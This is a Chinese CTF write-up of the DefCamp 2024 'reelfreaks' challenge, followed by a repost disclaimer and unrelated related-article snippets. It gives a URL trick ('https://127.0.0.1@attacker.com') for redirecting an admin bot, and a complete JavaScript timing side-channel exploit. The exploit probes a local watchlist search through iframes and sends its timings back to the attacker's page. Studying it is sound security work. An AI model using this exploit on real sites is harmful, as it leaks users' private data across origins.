CSRF攻擊 + 觀測iframe加載時間利用時間響應差異側信道攻擊 -- reelfreaks DefCamp 2024

參考: https://0x90r00t.com/2024/09/30/3708/

題目信息

有些事情最好還是保持低調。當然,除非你是個真正的怪胎。
注意:該網站通過HTTPS提供服務
標志格式:DCTF{}

題目實現了一個類似視頻網站的東西

在其提供的數據庫中我們能看到被ban的視頻,其名稱為flag的值

被ban的東西只能由管理員查看

if movie.banned != False and current_user.role != 'real_freak':movies.pop(i)

此處存在我們可以控制的url

# 定義報告路由,處理 POST 請求,需要登錄才能訪問
@main.route('/report', methods=['POST'])
@login_required
def report():# 構建訪問的 URLurl = "https://127.0.0.1" + request.form.get('movie')# 創建一個新線程,調用 visit 函數訪問該 URLthread = threading.Thread(target=visit,args=(url,))# 啟動線程thread.start()return 'OK'

我們可以構造類似如下的有效負載

https://127.0.0.1@attacker.com

當大文件被加載,其會產生一定的延遲,我們可以使用iframe觀測其加載完成的時間

參考: https://0x90r00t.com/2024/09/30/3708/

<body></body>
<script type="text/javascript">
// 定義所有可能用于破解flag的候選字符集(注意:字符 `_` 缺失,`` 可能存在排版錯誤)
const characters = '| !"#$&\'()*+,-./0123456789:;<=>?@[\\]^``abcdefghijklmnopqrstuvwxyz{}~';// 存儲每個字符的響應時間測量結果
let timings = {};// 當前猜測的flag(初始值為占位flag,實際會通過時間分析逐步破解)
let currentFlag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}';// 當前正在測試的字符索引(按characters順序遍歷)
let charIndex = 0;// 最大測試輪次(初始值為0,可能需要調整以增加準確性)
let maxRounds = 0;// 根據記錄的響應時間對字符排序(降序,時間越長排越前)
function getSortedKeysByTiming(timings) {return Object.keys(timings).sort((a, b) => timings[b] - timings[a]);
}// 向服務器發送日志(用于遠程記錄測試數據)
function log(message) {const xhr = new XMLHttpRequest();xhr.open("GET", "/?" + message); // 將數據通過GET參數發送xhr.send();
}/*** 測量特定字符組合的響應時間* @param {string} char - 當前測試的字符* @param {string} flag - 當前猜測的完整flag(包含已確定字符+測試字符)*/
function measureTiming(char, flag) {// 通過隱藏的iframe發起請求,測量加載時間const iframe = document.createElement('iframe');// 請求本地服務器接口,q參數攜帶猜測的flagiframe.src = 'https://127.0.0.1:5000/watchlist?q=' + encodeURIComponent(flag);document.body.appendChild(iframe);const startTime = performance.now(); // 記錄精確的時間起點// 根據iframe加載結果更新計時數據iframe.onload = () => updateTiming(char, performance.now() - startTime);iframe.onerror = () => updateTiming(char, -1); // 錯誤時記錄-1
}/*** 更新字符計時數據并繼續處理* @param {string} char - 被測試的字符* @param {number} time - 測量的響應時間(毫秒)*/
function updateTiming(char, time) {// 僅保留最大時間值(假設正確字符會觸發更長響應)if (!(char in timings) || time > timings[char]) {timings[char] = time;}log(`${char}: ${time}`); // 發送日志clearFrames();           // 清理iframeprocessNextChar();       // 處理下一個字符
}// 清除所有iframe防止內存泄漏
function clearFrames() {document.body.innerHTML = ''; // 清空body內所有內容
}/*** 主邏輯:按順序測試每個字符,完成一輪后分析結果*/
function processNextChar() {// 遍歷所有候選字符if (charIndex < characters.length) {const currentChar = characters[charIndex];// 測試當前猜測flag+當前字符的組合(例如:"DCTF{a")measureTiming(currentChar, currentFlag + currentChar);charIndex++;} else {// 一輪完成,按響應時間排序字符const sortedKeys = getSortedKeysByTiming(timings);log('fini ' + sortedKeys.join(',')); // 上報結果// 如果還有剩余輪次,重置索引繼續測試(可能需要多輪驗證)if (maxRounds-- > 0) {charIndex = 0;processNextChar();}}
}// 啟動時間攻擊
processNextChar();
</script>

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/81601.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/81601.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/81601.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

JS逆向-某易云音樂下載器

文章目錄 介紹下載鏈接Robots文件搜索功能JS逆向**函數a&#xff1a;生成隨機字符串****函數b&#xff1a;AES-CBC加密****函數c&#xff1a;RSA公鑰加密** 歌曲下載總結 介紹 在某易云音樂中&#xff0c;很多歌曲聽是免費的&#xff0c;但下載需要VIP&#xff0c;此程序旨在“…

黑馬k8s(十)

1.Pod生命周期-鉤子函數 2.Pod生命周期-容器探測 因為沒有hello.txt文件 查看詳情&#xff1a; 修改為查看命令&#xff1a; 查看一下詳情&#xff1a; 因為只有一個80端口&#xff0c;沒有8080&#xff0c;所以會重啟 查看詳情&#xff1a; 修改成80&#xff1a; 因為沒有…

每日算法刷題Day9 5.17:leetcode定長滑動窗口3道題,用時1h

9. 1652.拆炸彈(簡單&#xff0c;學習) 1652. 拆炸彈 - 力扣&#xff08;LeetCode&#xff09; 思想 為了獲得正確的密碼&#xff0c;你需要替換掉每一個數字。所有數字會 同時 被替換。 如果 k > 0 &#xff0c;將第 i 個數字用 接下來 k 個數字之和替換。如果 k < 0…

Java IO及Netty框架學習小結

Netty netty官網: Netty 什么是Netty&#xff1f; Netty 是 一個異步事件驅動的網絡應用程序框架&#xff0c;用于快速開發可維護的高性能協議服務器和客戶端。Netty 是一個 NIO 客戶端服務器框架&#xff0c;可以快速輕松地開發網絡應用程序&#xff08;例如協議服務器和客…

計算機網絡筆記(二十七)——4.9多協議標簽交換MPLS

4.9.1MPLS的工作原理 一、MPLS基本工作原理 MPLS&#xff08;Multiprotocol Label Switching&#xff09;是一種介于數據鏈路層和網絡層之間的轉發技術&#xff0c;通過固定長度的標簽進行高速數據轉發。其核心特點是通過預建立的標簽交換路徑&#xff08;Label Switching Pa…

AI 賦能 Copula 建模:大語言模型驅動的相關性分析革新

技術點目錄 R及Python語言及相關性研究初步二元Copula理論與實踐&#xff08;一&#xff09;二元Copula理論與實踐&#xff08;二&#xff09;【R語言為主】Copula函數的統計檢驗與選擇【R語言為主】高維數據與Vine Copula 【R語言】正則Vine Copula&#xff08;一&#xff09;…

【洛谷P3386】二分圖最大匹配之Kuhn算法/匈牙利算法:直觀理解

題目&#xff1a;洛谷P3386 【模板】二分圖最大匹配 &#x1f955; 匈牙利算法本來是針對帶權圖最大匹配的&#xff0c;這里由于題目只是求最大匹配的邊數&#xff0c;所以我們也只考慮無權的情況。 &#x1f680; 本文旨在服務于看了別的關于匈牙利算法的文章但不甚理解的童…

【數據結構】二分查找(返回插入點)5.14

二分查找基礎版 package 二分查找; public class BinarySearch { public static void main(String[] args) { // TODO Auto-generated method stub } public static int binarySearchBasic(int[] a,int target) { int i0,ja.length-1; //設置指針初值 while…

Ubuntu 命令

Ubuntu 命令速查表? ?分類??命令??功能描述??示例/常用選項????文件與目錄?ls列出目錄內容ls -a&#xff08;顯示隱藏文件&#xff09;; ls -lh&#xff08;詳細列表易讀大小&#xff09; cd切換目錄cd ~&#xff08;主目錄&#xff09;; cd ..&#xff08;上級…

Java集合框架詳解與使用場景示例

Java集合框架是Java標準庫中一組用于存儲和操作數據的接口和類。它提供了多種數據結構&#xff0c;每種數據結構都有其特定的用途和性能特點。在本文中&#xff0c;我們將詳細介紹Java集合框架的主要組成部分&#xff1a;List、Set和Queue&#xff0c;并通過代碼示例展示它們的…

《Python星球日記》 第78天:CV 基礎與圖像處理

名人說:路漫漫其修遠兮,吾將上下而求索。—— 屈原《離騷》 創作者:Code_流蘇(CSDN)(一個喜歡古詩詞和編程的Coder??) 目錄 一、計算機視覺(CV)簡介1. 什么是計算機視覺?2. 計算機視覺的應用場景3. 圖像的基本屬性a》像素(Pixel)b》通道(Channel)c》分辨率(Res…

LabVIEW在電子電工教學中的應用

在電子電工教學領域&#xff0c;傳統教學模式面臨諸多挑戰&#xff0c;如實驗設備數量有限、實驗過程存在安全隱患、教學內容更新滯后等。LabVIEW 作為一款功能強大的圖形化編程軟件&#xff0c;為解決這些問題提供了創新思路&#xff0c;在電子電工教學的多個關鍵環節發揮著重…

【優選算法 | 字符串】字符串模擬題精選:思維+實現解析

算法相關知識點可以通過點擊以下鏈接進行學習一起加油&#xff01;雙指針滑動窗口二分查找前綴和位運算模擬鏈表哈希表 在眾多字符串算法題中&#xff0c;有一類題目看起來沒有太多算法技巧&#xff0c;卻經常讓人“翻車”——那就是字符串模擬題。這類題型往往不依賴復雜的數據…

虛幻引擎5-Unreal Engine筆記之Default Pawn與GamMode、Camera的關系

虛幻引擎5-Unreal Engine筆記之Default Pawn與GamMode、Camera的關系 code review! 文章目錄 虛幻引擎5-Unreal Engine筆記之Default Pawn與GamMode、Camera的關系1.Default Pawn與Camera的關系1.1. Default Pawn 是什么&#xff1f;1.2. Default Pawn 的主要組件1.3. Default…

HarmonyOs開發之———UIAbility進階

謝謝關注!! 前言:上一篇文章主要介紹開發之———使用HTTP訪問網絡資源:HarmonyOs開發之———使用HTTP訪問網絡資源-CSDN博客 代碼資源:https://download.csdn.net/download/this_is_bug/90841580 一、基本概念 UIAbility 是 HarmonyOS 應用的核心組件,負責用戶界面的…

java實現根據Velocity批量生成pdf并合成zip壓縮包

Velocity 模版操作 用的之前寫好的: 傳送門 其中需要新加一個轉成輸入流的方法 public static InputStream convertToPdf(StringWriter stringWriter) throws IOException {//將 HTML 轉為字節流byte[] htmlBytes stringWriter.toString().getBytes(StandardCharsets.UTF_8)…

SCDN能夠運用在物聯網加速當中嗎?

在當今的科技化時代當中&#xff0c;物聯網已經廣泛滲透在各個領域行業當中&#xff0c;隨著物聯網規模的不斷擴大&#xff0c;數據信息的傳輸速度和網絡穩定性成為企業需要重視的兩點因素&#xff0c;而SCDN也成為安全內容分發網絡作為一種融合了內容加速和安全防護的技術&…

二程運輸的干散貨船路徑優化

在二程運輸中&#xff0c;干散貨船需要將貨物從一個港口運輸到多個不同的目的地港口。路徑優化的目標是在滿足貨物運輸需求、船舶航行限制等條件下&#xff0c;確定船舶的最佳航行路線&#xff0c;以最小化運輸成本、運輸時間或其他相關的優化目標。 影響因素 港口布局與距離…

Oracle物理恢復相關注意點

如果需要恢復的數據庫或者數據文件不存在&#xff0c;則需要將全量備份集RESTORE[ 將全量備份集恢復到目標數據庫中&#xff0c;稱之為RESTORE。]到目標數據庫中&#xff0c;然后再RECOVER[ 將增量備份集或者歸檔日志恢復到目標數據庫中&#xff0c;稱之為RECOVER。]增量備份集…

C++ string小記

#include<string> using std::string;string s1; string s2 "hello" //初始化一個hello字符串 string s3(5,a) //連續5個字符a組成的串&#xff0c;即aaaaa///字符串操作int length s1.size() //.size()求字符串長度char c1 s1[1]; //從下標0開始&#xf…